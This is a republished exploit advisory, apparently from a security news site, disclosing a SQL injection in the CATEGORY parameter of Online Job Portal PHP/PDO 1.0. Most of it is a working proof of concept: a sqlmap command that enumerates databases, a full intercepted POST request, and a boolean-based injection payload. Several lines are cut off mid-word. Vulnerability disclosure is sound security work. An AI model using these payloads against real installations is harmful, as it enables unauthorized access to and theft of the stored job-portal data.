

# Online Job Portal In PHP/PDO 1.0 SQL Injection

By **The Cyber Post** - December 1, 2020

Authored by [Mohamed Elobeid](#)

Online Job Portal in PHP/PDO version 1.0 suffers from a remote SQL injection vulnerability.

[Change Mirror](#) [Download](#)

```
# Title: online job portal php pdo v1.0 - SQL injection
# Exploit Author: Mohamed Elobeid (0b3!d)
# Date: 2020-08-21
# Vendor Homepage: https://www.sourcecodester.com/php/13850/online-j
# Software Link: https://www.sourcecodester.com/download-code?nid=13
# Tested On: Windows 10 Pro 1909 (x64_86) + XAMPP 3.2.4
# Description
This parameter "CATEGORY" is vulnerable to SQL injection in this pa

#POC
1-sqlmap -r request.txt -p CATEGORY --dbs
```

where the request.txt is an intercept of a search request captured b

```
POST /jobportal/index.php?q=result&searchfor=advancesearch HTTP/1.1
```

```
Host: 192.168.52.1
```

```
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
```

```
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=
```

```
Accept-Language: en-US,en;q=0.5
```

```
Accept-Encoding: gzip, deflate
```

```
Referer: http://192.168.52.1/jobportal/
```

```
Content-Type: application/x-www-form-urlencoded
```

```
Content-Length: 41
```

```
Connection: close
```

```
Cookie: PHPSESSID=bb4g25d3qceicepo7b3d26cfpp
```

```
Upgrade-Insecure-Requests: 1
```

```
SEARCH=&CATEGORY=Managerial&COMPANY=Quest
```

2- use a proxy to intercept a search request ad change the CATEGORY  
Managerial' OR NOT 5832=5832#&COMPANY=Quest

Regards,

Mohamed ELobeid

Security Engineer, Cyber Security Operations Center

Diyar United Company

**The Cyber Post**

<https://thecyberpost.com>



FOLLOW US ON INSTAGRAM

@THECYBERPOST